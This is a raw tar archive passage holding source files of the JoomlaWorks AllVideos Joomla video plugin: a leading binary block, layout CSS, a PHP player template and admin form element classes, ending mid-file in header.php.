0   ND(  L    L    5ǐV<@{#5@n=n<cҤ:@Ԥy:7AtGn<`{6Gn<p`yX:@UR2mF[xhe@@enKKhhAK  v-No~zC@
h(        'M,  P`  0L    L L    0@ {(
iR lSqbJkSQJc+`v<c.
+`j2XdAhd[5#-@4Z27l/j-h RR-p    v--NoL |@ pP          rX B\ R:%!@   		     &Gh P@x
Gj{Һ;V*)*CZ=@5`RQ# n2A 5,j2@UR2R2͠R!qm 
_`հ
[@ݲ 
_`_`հ`_` [@1l  *

  9]++h I    ֠@Đ t  `  & &     3.t
 Gh -@P+BTBk"^B<V<"BV`(GX# P%FHk+lͻd5l͠KKhhA   R   d;`6fD  ;\\\\\\\  9]h@ *i`	N&  ` `  & &     '> 
 5HCP`yX kJBk"U ;AX4
Cn2AHcQF`հ3RK
[C6//j----------No/L vPk+l        ++p S@ K M
uc  0L 0    @   &
 Gh -@Xt%D)Uy:@ؕ# j<:,ǐl@7dV)lj2@հѸ j[@)}}Khfݲ  )}}}}}}}}}}`  Ŵ	Bk ;M P       N) 8 9]h@SŉNq@ 	` 	    `  3. HtGh5@P+HKbXG/!QDhd
.
6@;w5lVu#Fj-mv8
_`_cFжe [ [ [ [ [ [ [ [ Ŵ4N}f>EM!           r Wb@:$0Z$Z@ 	` 	  &     3  `(
 GR<V;Ad (T
-DydǰlSbZ ;մ d@;w5lղV)m[Gmn-7ll4/jжlcB ;l>RŠvvv@Q]]@ !  8+p tRH tJK `PRH 0L 0 e2  2 
@(Ght%D)Uy:Vc,GM	n2A-@d[  d[ v[ 3mmA j[@[@ݲ     [ [ Ŵ	 [ 4/|
P    W W W W   Wb $ŀ1\褐 蔖 	 R 	 & & &    4
Q)At
yX:B[<R QjlJ7ķd4 5l`հ
[@d5llXʹ4n/j)mmmvж@Ah  W        rr  9]h	%1\褐 蔖 :$ '>)
0     px7AP j= `yXxBAJ#!/! 6%HPtSb[Pv`mnXAKh7lW-7}}}}}}8 ͋iv
 
h      N kp rH	AtRH tJK@D)0     L  @ HtGh  VJP
-.@SbTM	n2Ad`RXAKh_h  j[@[@   ivћV=M  5]h    qb54  4  r L$& :)$ :%%Nq` 	` 	 &	 &  2@ {@j<@ ( *t%D(# U 6%HPKKh//jd``m-n-ReallWm  
ŀ      :& 'M 	 :)0X 褐 蔖&:$Z@s  L 000   L  {@P j=@(Ҥ:ZTTؗc Z2h`mnRd``mn/j-h uc67llll4 f-fX  :(k++++p  :ŉ	@8L$1.AtRH0)	 &	 &  & 3.   (  ;AP P (
QcBTBQiRPSb]j%`vj-hAKhmn//jo//b` vD      " qb``r	%KpD>&:		ϰtJBL 000   Lt
 
 
Cj<@ c%Q
EX["[`mnXAKhm-n-Rm-----------bhh tP @   0)   uK L J`%8IRX	HPHR` 	ˀd @  	Gh j=@5P P c%BUalR@إVȖ j-hAKhmn-X v//j-------No/b6$   f+N  N  `S@uK L :)0 9.0)ϰ5		ϰ`K@ `Ĺ   f\  F[@P P P 	Q
U%@-Mvj-hAKh A Kh @@A@@@Ah  `        L `S@uK L :)01.AtRH%	HP &		 & & &   	 (  {@P P P -bTBUaln- ["[`` A Khm-n--R      m-No/xU4              & 0(BS&IS`809	 &  & 3.    @  @@@j@uc7}-PdTմ["[`d`v///jo///b0P    v    8$P$0L r]
d%%KpDN L f\R` 	e2  s   
 
 
_` 5ljvƭ-`-- [ [ 7}}V)mm@  [ [ [ [ [ [ [ [ [ [  6'll  ;\t       r   ` `1.AtRhH	,LB@蔧%	:%!I	 & & &  2   @  ղղKV*. 
pSv-- [   [ [ [ [ [ 	 [ [ [ [    P    L  +p  0N	uK L%Ц@BRXĹN %0)		ϰL 0p``      7 
 
 
V4
 
j`*hD7}V)mm@7}}}}}}}}}}}8       f  A 8%	,L 0(BS`t)Ic2S(  3. 0t      d ( ([  մ_` մ
[+Ж ݴhKv7} ShKv7}}V)mmm@        3mmmv3}  p
W`    54 & 1.A r).Ic2t)1.At)J}b\@֧ & &  1.Af]   &     d 5m@   ղ_` 9m,j)a	 ݴhKv7}Nj%`_`_`հ`_`_`Ų
         ``  L``1.A`PrhPO.,`SD)00 `   	ϰ       jd  Kd@@ualn- Xʹ["KdvnX[@[@$dddddddddddddhQmm              &ˑLuK`ĹBX`褐Jkĺ@ e2	 & & &  2         AjhA@rXݲ_b]6( 9m	n/v@ݰuc6)mmmmmmmmv4  '}ǲx   @A   L L  `0) &ˀdE&t)Ic2Rr s  L N}		  ̸@         j@@ RP @rXղ%dSw) [B[@@A7llll9}//b
      `   00 9 0) &	`JK%Ц:%%K)L N}`2  & &  2        j v` mRjicv9lR_hKv V3mm@Ŵ%ddddddddddhQmm-,ǀX  ( &  `  & &Kp F\@0).Ib`ĹeЦ@BRXĹeЦ:%)rR2e2  &   2        `  P K jh@A icVZ]E5}v@ݰ     P    L     }(     `  F\@1.Ap`̹ȗP$0b\	IcЧD>1.PJB)
f]  	` 	              [@;l`_` ʹ
[ [ [  ʹKP[ )	///n////rX);dIlVP 
  3\@ 		 #.L  ̺A0f\dKX%8
1.AM
tJSc
8( e2  `          [   [@;l`_`  [@[@_`_`հ   3m["YV;lr[ [ )dIlEKhh4	ޣҰ   4 & &  0'& 3.L"'>r%%KpBXĹB)N )
0 0t              (  ʹ6[  ʹ
[ [ [          &     Ͱ|J ǐl P Pf2h   2` ̺A0f\dKX%8
1.AM
tJSc
8( e2  `            V4  ʹ6 5l@  (@[@_`_`_`_`_`հ     [ [ [  Ҡ       L L p`Ĺ e2	2S"]@1.A`PrhSRk(P%5 0%!@&  & 3.                `  @fdd    PKdddddddddddde@    P      2r ˀheȦD%JK &:%)rR 	HS2  L  L                 h   d     @f0  HZY    P L 0   L L  0`S]@0r]
d%%Kf]
aRk(P%!@3.)
f]  	` 	 3.                    Pdd               m-})i@  A   0   F\@  `   &	S !),LB@蔖1.P09	ˠd f\    ˀd                   /j  @fm-n   ````````   dKZTc,    [ [ [ [    & &Kp f] 3.E2$9Kp&KL tJKĺ@   ```  3.                     j    m--h  m------------p  m}9iP f<            ``̹ȗP$9Kp!)OKp\	McH `̹A0   f\                        5ll@      մ` - ( 3l       			  '> 0tR`!),b\& H %8 &  s                          -h                  LZT   j   mN% p 00`S]@& 9.0),b\2SXĹB)
 ( %8ˠd                                ```             PZ@P @ m---h  -p 00L  0b\	N}E$),f\e`se2  & 3.                                               A @   0     0N	uK``JK & K)`S ` `2  f\                                                >  ;l`     1l  & & 0) & &Kp80r]
aRk(P$Z@蔅& &      ˀd                                                   m-----p    L L `S@uK%Ц@BRXĹI tJKe8%!Lˠd 0b\̺@  N}                                               H           ``X` 	LX:)$J}`P L N}` 	 &	ˠd                                                 􅤾@`       0 8$P$rB@IcE$),b\@ `  ```  3.                                                }XА  `    @uK L :)0 9.0)O & '>0t &Kp L  e2                                                -.v}
    pH :%&J@:)0ŉ	@:%%
 `  2e2  `                                                H :)dd     0)dX`8L$1.AtRHЧV809	pP	 & & &   	                                                -*q`  v  qb``8L$1.AtRH0)	 &	 &  & 3.                                                     
X       I` '}[  B@Ic8I Ic$Z@s  L 000   L                                                 I}V4  Ͱ
[@: X    &  B@Ic8I IbhS@ R`  &	ˠd  e2                                                  d     mf  b E&`-p ЧV80)
L 0   0                                                  m,tH [ [      	8  ) B@I`[ :)$ :%%Mjq` 	ϰL 0  e2  2                                                  mtH         [B	%&  褐 蔖 :$ '>)
                                                        @pS PL  B@0q`[  褐:$0Z$Z@ 	` 	 & & 3.                                                      =iv@   8)Հ   tH  W b E$DЧV8Չ  0   L  L                                                       ic3 @ Жg)?:΀t?@:;?	<g;?)@K?:?>? q 1x 7x 7^3?	y_zs?9  x @y _ =~ ? <oc 3?? _                                                                                                                                                                                                                                                                                                                                                          content/jw_allvideos/jw_allvideos/tmpl/Framed/css/template.css                                      0000705                 00000003163 15242051520 0020646 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

/* General */
.avPlayerWrapper div,
.avPlayerWrapper iframe,
.avPlayerWrapper video,
.avPlayerWrapper audio {outline:0;}

.avDownloadLink {}
.avDownloadLink a,
.avDownloadLink a:link {display:block;background:#eee;padding:10px;text-align:center;font-weight:bold;font-size:12px;color:#999;text-decoration:none;}
.avDownloadLink a:hover {background:#ddd;color:#666;text-decoration:none;}

.avPlayerBlockDisabled {width:auto;height:auto;padding:20px;}
a.avDeprecated,
a.avDeprecated:link {display:block;background:#eee;padding:20px;text-align:center;font-weight:bold;font-size:16px;color:#999;text-decoration:none;}
a.avDeprecated:hover {background:#ddd;color:#666;text-decoration:none;}

/* Framed Layout */
.avPlayerWrapper {display:block;padding:0;margin:0 auto;clear:both;}
.avPlayerWrapper .avPlayerContainer {display:block;padding:0;margin:0 auto;}
.avPlayerWrapper.avVideo .avPlayerContainer {padding:16px 20px 14px;border-radius:4px;background:url(../images/allvideos_v4_bg_1000x550.jpg) repeat 50% 50%;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock {display:block;padding:0;margin:0;line-height:normal;text-align:center;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock video {background:#000;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock audio {background-color:#000;background-repeat:no-repeat;background-position:50% 50%;background-size:cover;padding:10px;}
                                                                                                                                                                                                                                                                                                                                                                                                             content/jw_allvideos/jw_allvideos/tmpl/Classic/default.php                                          0000705                 00000001747 15242051520 0020057 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>

<div class="avPlayerWrapper<?php echo $output->mediaTypeClass; ?>">
    <div style="width:<?php echo $output->playerWidth; ?>px;" class="avPlayerContainer">
        <div id="<?php echo $output->playerID; ?>" class="avPlayerBlock">
            <?php echo $output->player; ?>
        </div>
        <?php if (($allowVideoDownloading && $output->mediaType == 'video') || ($allowAudioDownloading && $output->mediaType == 'audio')): ?>
        <div class="avDownloadLink">
            <a target="_blank" href="<?php echo $output->source; ?>" download><?php echo JText::_('JW_PLG_AV_DOWNLOAD'); ?></a>
        </div>
        <?php endif; ?>
    </div>
</div>
                         content/jw_allvideos/jw_allvideos/tmpl/Classic/css/template.css                                     0000705                 00000002726 15242051520 0021035 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

/* General */
.avPlayerWrapper div,
.avPlayerWrapper iframe,
.avPlayerWrapper video,
.avPlayerWrapper audio {outline:0;}

.avDownloadLink {}
.avDownloadLink a,
.avDownloadLink a:link {display:block;background:#eee;padding:10px;text-align:center;font-weight:bold;font-size:12px;color:#999;text-decoration:none;}
.avDownloadLink a:hover {background:#ddd;color:#666;text-decoration:none;}

.avPlayerBlockDisabled {width:auto;height:auto;padding:20px;}
a.avDeprecated,
a.avDeprecated:link {display:block;background:#eee;padding:20px;text-align:center;font-weight:bold;font-size:16px;color:#999;text-decoration:none;}
a.avDeprecated:hover {background:#ddd;color:#666;text-decoration:none;}

/* Classic Layout */
.avPlayerWrapper {display:block;padding:0;margin:0 auto;clear:both;}
.avPlayerWrapper .avPlayerContainer {display:block;padding:0;margin:0 auto;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock {display:block;padding:0;margin:0;line-height:normal;text-align:center;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock video {background:#000;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock audio {background-color:#000;background-repeat:no-repeat;background-position:50% 50%;background-size:cover;padding:10px;}
                                          content/jw_allvideos/jw_allvideos/includes/elements/base.php                                        0000705                 00000005151 15242051520 0020423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

// Joomla 4 & 5
if (version_compare(JVERSION, '4', 'ge')) {
    $aliases = [
        'JFactory'   => 'Joomla\\CMS\\Factory',
        'JFormField' => 'Joomla\\CMS\\Form\\FormField',
        'JHtml'      => 'Joomla\\CMS\\HTML\\HTMLHelper',
        'JText'      => 'Joomla\\CMS\\Language\\Text',
        'JUri'       => 'Joomla\\CMS\\Uri\\Uri',
    ];
    foreach ($aliases as $legacy => $modern) {
        if (class_exists($modern) && ! class_exists($legacy)) {
            class_alias($modern, $legacy);
        }
    }
} elseif (version_compare(JVERSION, '2.5.0', 'ge')) {
    jimport('joomla.form.formfield');
}

if (version_compare(JVERSION, '3.5.0', 'ge')) {
    class JWElement extends JFormField
    {
        public function getInput()
        {
            $controls = (! empty($this->options['control'])) ? $this->options['control'] : [];
            return $this->fetchElement($this->name, $this->value, $this->element, $controls);
        }

        public function getLabel()
        {
            if (method_exists($this, 'fetchTooltip')) {
                $controls = (! empty($this->options['control'])) ? $this->options['control'] : [];
                return $this->fetchTooltip($this->element['label'], $this->description, $this->element, $controls, $this->element['name'] = '');
            } else {
                return parent::getLabel();
            }
        }

        public function render($layoutId, $data = [])
        {
            return $this->getInput();
        }
    }
} elseif (version_compare(JVERSION, '2.5.0', 'ge')) {
    class JWElement extends JFormField
    {
        public function getInput()
        {
            return $this->fetchElement($this->name, $this->value, $this->element, $this->options['control']);
        }

        public function getLabel()
        {
            if (method_exists($this, 'fetchTooltip')) {
                return $this->fetchTooltip($this->element['label'], $this->description, $this->element, $this->options['control'], $this->element['name'] = '');
            } else {
                return parent::getLabel();
            }
        }

        public function render()
        {
            return $this->getInput();
        }
    }
} else {
    jimport('joomla.html.parameter.element');
    class JWElement extends JElement
    {
    }
}
                                                                                                                                                                                                                                                                                                                                                                                                                       content/jw_allvideos/jw_allvideos/includes/elements/header.css                                      0000705                 00000030747 15242051520 0020753 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license:https://www.gnu.org/copyleft/gpl.html
 */

/* --- Common --- */
/* Header */
.jwHeaderContainer {background:#e5f7fd;color:#346b93;font-size:20px;margin:0;padding:24px 16px;border-radius:4px;}
    .jwHeaderContent {}
    .jwHeaderClr {clear:both;height:0;line-height:0;border:none;float:none;background:none;padding:0;margin:0;}


/* --- Joomla 4.x --- */
/* Style parameters for plugins */
.com_plugins .col-lg-9 .control-group {border-radius:4px;padding:0;margin:0 0 4px 0 !important;}
.com_plugins .col-lg-9 .control-group:nth-child(2n-1) {background:#f7f7f7;}
.com_plugins .col-lg-9 .control-group:last-child {margin-bottom:100px !important;}
.com_plugins .col-lg-9 .control-group .control-label,
.com_plugins .col-lg-9 .control-group .controls {padding:16px;margin:0;}
.com_plugins .col-lg-9 .control-group .control-label label {padding:0;margin:0;}
.com_plugins .col-lg-9 .control-group .controls label {}
.com_plugins .col-lg-9 .control-group .control-label label {font-size:14px;margin-top:4px;}

/* Resize parameter columns */
@media all and (min-width:771px) {
    .com_plugins .col-lg-9 .control-group .control-label {width:30% !important;}
    .com_plugins .col-lg-9 .control-group .controls {margin-left:32% !important;}
}
@media all and (min-width:481px) and (max-width:770px){
    .com_plugins .col-lg-9 .control-group .control-label {width:45% !important;}
    .com_plugins .col-lg-9 .control-group .controls {margin-left:47% !important;}
}
.com_plugins .col-lg-9 .control-group-header {background:#e5f7fd;margin-top:32px !important;}
.com_plugins .col-lg-9 .control-group-header .control-label,
.com_plugins .col-lg-9 .control-group-header .controls {padding:0 !important;margin:0 !important;}

/* Textarea & Chosen (multi-container) blocks */
.com_plugins .col-lg-9 .controls .chzn-container-multi {width:90% !important;}
.com_plugins .col-lg-9 .controls textarea {width:90%;}

/* Header */
.com_plugins .col-lg-9 .control-group .control-label:empty {display:none;}
.com_plugins .col-lg-9 .control-group .control-label:empty + .controls {width:auto !important;padding:0 !important;margin:0 !important;}
.com_plugins .col-lg-9 .control-group div > small {padding:8px 16px;}


/* --- Joomla 3.x --- */
/* Style parameters for plugins */
.com_plugins .form-horizontal .span9 .control-group {border-radius:4px;padding:0;margin:0 0 4px 0 !important;}
.com_plugins .form-horizontal .span9 .control-group:nth-child(2n-1) {background:#f7f7f7;}
.com_plugins .form-horizontal .span9 .control-group:last-child {margin-bottom:100px !important;}
.com_plugins .form-horizontal .span9 .control-group .control-label,
.com_plugins .form-horizontal .span9 .control-group .controls {padding:16px;margin:0;}
.com_plugins .form-horizontal .span9 .control-group .control-label label {padding:0;margin:0;}
.com_plugins .form-horizontal .span9 .control-group .controls label {}
.com_plugins .form-horizontal .span9 .control-group .control-label label {font-size:14px;margin-top:4px;}

/* Resize parameter columns */
@media all and (min-width:771px) {
    .com_plugins .form-horizontal .span9 .control-group .control-label {width:30% !important;}
    .com_plugins .form-horizontal .span9 .control-group .controls {margin-left:32% !important;}
}
@media all and (min-width:481px) and (max-width:770px){
    .com_plugins .form-horizontal .span9 .control-group .control-label {width:45% !important;}
    .com_plugins .form-horizontal .span9 .control-group .controls {margin-left:47% !important;}
}
.com_plugins .form-horizontal .span9 .control-group-header {background:#e5f7fd;margin-top:32px !important;}
.com_plugins .form-horizontal .span9 .control-group-header .control-label,
.com_plugins .form-horizontal .span9 .control-group-header .controls {padding:0 !important;margin:0 !important;}

/* Textarea & Chosen (multi-container) blocks */
.com_plugins .form-horizontal .span9 .controls .chzn-container-multi {width:90% !important;}
.com_plugins .form-horizontal .span9 .controls textarea {width:90%;}

/* Header */
.com_plugins .form-horizontal .span9 .control-group .control-label:empty {display:none;}
.com_plugins .form-horizontal .span9 .control-group .control-label:empty + .controls {width:auto !important;padding:0 !important;margin:0 !important;}
.com_plugins .form-horizontal .span9 .control-group div > small {padding:8px 16px;}


/* --- Joomla 2.5 --- */
/* Parameters rendered from XML (lists) */
.width-40.fltrt .pane-slider > fieldset.panelform {padding:5px;margin:0;}
.width-40.fltrt fieldset.panelform .adminformlist > li {position:relative;display:grid;grid-template-columns:1fr 2fr auto auto auto;align-items:center;min-height:0;max-height:none;clear:both;border-radius:4px;padding:0;margin:0;}
.width-40.fltrt fieldset.panelform .adminformlist > li > span.spacer {}
.width-40.fltrt fieldset.panelform .adminformlist > li:nth-child(2n-1) {background:#f7f7f7;}
.width-40.fltrt fieldset.panelform .adminformlist > li > label {min-width:inherit;max-width:auto;width:auto;font-size:13px;float:none;padding:10px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > label + input,
.width-40.fltrt fieldset.panelform .adminformlist > li > label + select,
.width-40.fltrt fieldset.panelform .adminformlist > li > label + textarea,
.width-40.fltrt fieldset.panelform .adminformlist > li > label + fieldset,
.width-40.fltrt fieldset.panelform .adminformlist > li > label + div,
.width-40.fltrt fieldset.panelform .adminformlist > li > label + span {float:none;font-size:13px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > label + input,
.width-40.fltrt fieldset.panelform .adminformlist > li > label + select,
.width-40.fltrt fieldset.panelform .adminformlist > li > label + textarea {border-radius:3px;padding:5px 10px;font-size:13px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > label + select {height:28px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > label + select[multiple="multiple"] {height:auto;max-height:240px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > label + div.k2SelectorButton + .k2SortableListContainer {grid-column:2 / span 1;margin-bottom:10px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > label + div.k2SelectorButton + .k2SortableListContainer li {padding:5px 10px;margin:2px 0;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset {background:none;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset label,
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input {font-size:13px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > label#jform_params_menu_image-lbl + .fltlft {padding-left:46px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"] {opacity:0;position:absolute;clip:rect(0,0,0,0);}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"] + label {min-width:80px;width:auto;line-height:30px;height:30px;text-align:center;margin:0 -2px 0 0;padding:0 10px;color:#8a8c8c;display:inline-block;vertical-align:middle;white-space:nowrap;background:#eff1f1;cursor:pointer;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"]:first-child + label {border-radius:4px 0 0 4px;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"] + label:last-child {border-radius:0 4px 4px 0;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"]:checked + label {background:#63696f;color:#fff;} /* Generic */
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"]:checked + label:hover {background:#555;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"] + label:hover {background:#e8e8e8;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"][value="0"]:checked + label,
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"][value="none"]:checked + label {background:#bd362f;color:#fff;}
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"][value="1"]:checked + label,
.width-40.fltrt fieldset.panelform .adminformlist > li > fieldset input[type="radio"][value="all"]:checked + label {background:#3fa800;color:#fff;}
.jwHeaderContainer25 {grid-column-start:span 2;background:#e5f7fd;color:#346b93;font-size:20px;margin:0;padding:24px 16px;border-radius:4px;font-weight:normal;float:left;width:100%;clear:both;box-sizing:border-box;}


/* --- Joomla 1.5 --- */
/* Parameters rendered from XML (tables) */
.col.width-40 fieldset.adminform table.admintable {padding:0;margin:0 auto;border-collapse:separate;border-spacing:0;border:0;border-bottom:1px solid #fff;width:100%;}
.col.width-40 fieldset.adminform table.admintable td {font-size:13px;font-weight:400;color:#333;padding:10px;vertical-align:middle;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_key {width:30%;border-top:1px solid #fff;border-right:1px solid #e9e9e9;border-bottom:1px solid #e9e9e9;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_key label {font-size:13px;font-weight:600;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value {background:#fbfbfb;border-top:1px solid #fff;border-bottom:1px solid #fbfbfb;font-size:13px;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input {width:300px;padding:10px;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="file"] {border-radius:4px;padding:8px;box-sizing:border-box;background:#eee;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value select {width:300px;height:30px;line-height:30px;background:#fff;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value select[multiple] {height:auto;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value button {font-size:13px;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value textarea {padding-left:10px;padding-right:10px;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input,
.col.width-40 fieldset.adminform table.admintable td.paramlist_value select,
.col.width-40 fieldset.adminform table.admintable td.paramlist_value textarea {font-size:13px;border-radius:4px;border:1px solid #ccc;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value label {font-size:13px;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"] {opacity:0;position:absolute;clip:rect(0,0,0,0);}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"] + label {min-width:80px;width:auto;line-height:30px;height:30px;text-align:center;margin:0 -2px 0 0;padding:0 10px;color:#8a8c8c;display:inline-block;vertical-align:middle;white-space:nowrap;background:#eff1f1;cursor:pointer;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="checkbox"] {box-shadow:none;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"]:first-child + label {border-radius:4px 0 0 4px;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"] + label:last-child {border-radius:0 4px 4px 0;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"]:checked + label {background:#63696f;color:#fff;} /* Generic */
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"]:checked + label:hover {background:#555;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"] + label:hover {background:#e8e8e8;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"][value="0"]:checked + label,
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"][value="none"]:checked + label {background:#bd362f;color:#fff;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"][value="1"]:checked + label,
.col.width-40 fieldset.adminform table.admintable td.paramlist_value input[type="radio"][value="all"]:checked + label {background:#3fa800;color:#fff;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value[colspan="2"] {padding:0;}
.col.width-40 fieldset.adminform table.admintable td.paramlist_value[colspan="2"] .jwHeaderContainer15 {background:#e5f7fd;color:#346b93;font-size:20px;margin:0;padding:24px 16px;border:0;font-weight:normal;float:left;width:100%;clear:both;box-sizing:border-box;}
                         content/jw_allvideos/jw_allvideos/includes/elements/template.php                                    0000705                 00000005664 15242051520 0021335 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

require_once dirname(__FILE__) . '/base.php';

class JWElementTemplate extends JWElement
{
    private function listFolders($path)
    {
        $folders       = [];
        $systemFolders = ['__MACOSX', 'node_modules'];
        $di            = new DirectoryIterator($path);
        foreach ($di as $folder) {
            if ($folder->isDir() && !$folder->isDot()) {
                $folderName = $folder->getFilename();
                // Skip hidden and system folders
                if (substr($folderName, 0, 1) !== '.' && !in_array($folderName, $systemFolders)) {
                    $folders[] = $folderName;
                }
            }
        }
        sort($folders);
        return $folders;
    }

    public function fetchElement($name, $value, &$node, $control_name)
    {
        jimport('joomla.filesystem.folder');
        $plgTemplatesPath    = (version_compare(JVERSION, '2.5.0', 'ge')) ? JPATH_SITE . '/plugins/content/jw_allvideos/jw_allvideos/tmpl' : JPATH_SITE . '/plugins/content/jw_allvideos/tmpl';
        $plgTemplatesFolders = $this->listFolders($plgTemplatesPath);
        $db                  = JFactory::getDBO();
        if (version_compare(JVERSION, '2.5.0', 'ge')) {
            $query = "SELECT template FROM #__template_styles WHERE client_id = 0 AND home = '1'";
        } else {
            $query = "SELECT template FROM #__templates_menu WHERE client_id = 0 AND menuid = 0";
        }
        $db->setQuery($query);
        $template     = $db->loadResult();
        $templatePath = JPATH_SITE . '/templates/' . $template . '/html/jw_allvideos';
        if (is_dir($templatePath)) {
            $templateFolders = $this->listFolders($templatePath);
            $folders         = array_merge($templateFolders, $plgTemplatesFolders);
            $folders         = array_unique($folders);
        } else {
            $folders = $plgTemplatesFolders;
        }
        sort($folders);
        $options = [];
        foreach ($folders as $folder) {
            $options[] = JHtml::_('select.option', $folder, $folder);
        }
        $fieldName = version_compare(JVERSION, '2.5.0', 'ge') ? $name : $control_name . '[' . $name . ']';

        if (version_compare(JVERSION, '4', 'ge')) {
            $attributes = 'class="custom-select" style="max-width:300px;"';
        } else {
            $attributes = '';
        }

        return JHtml::_('select.genericlist', $options, $fieldName, $attributes, 'value', 'text', $value);
    }
}

class JFormFieldTemplate extends JWElementTemplate
{
    public $type = 'template';
}

class JElementTemplate extends JWElementTemplate
{
    public $_name = 'template';
}
                                                                            content/jw_allvideos/jw_allvideos/includes/elements/header.php                                      0000705                 00000003213 15242051520 0020736 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

require_once dirname(__FILE__).'/base.php';

class JWElementHeader extends JWElement
{
    public function fetchElement($name, $value, &$node, $control_name)
    {
        $plg_name = "jw_allvideos";
        if (version_compare(JVERSION, '2.5.0', 'ge')) {
            $pluginLivePath = JUri::root(true).'/plugins/content/'.$plg_name.'/'.$plg_name;
        } else {
            $pluginLivePath = JUri::root(true).'/plugins/content/'.$plg_name;
        }
        $document = JFactory::getDocument();
        $document->addStyleSheet($pluginLivePath.'/includes/elements/header.css?v=7.0');

        $cssClass = '';
        if (version_compare(JVERSION, '3.0.0', 'ge')) {
            $cssClass = '';
        } elseif (version_compare(JVERSION, '2.5.0', 'ge')) {
            $cssClass = '25';
        } elseif (version_compare(JVERSION, '1.6.0', 'lt')) {
            $cssClass = '15';
        }
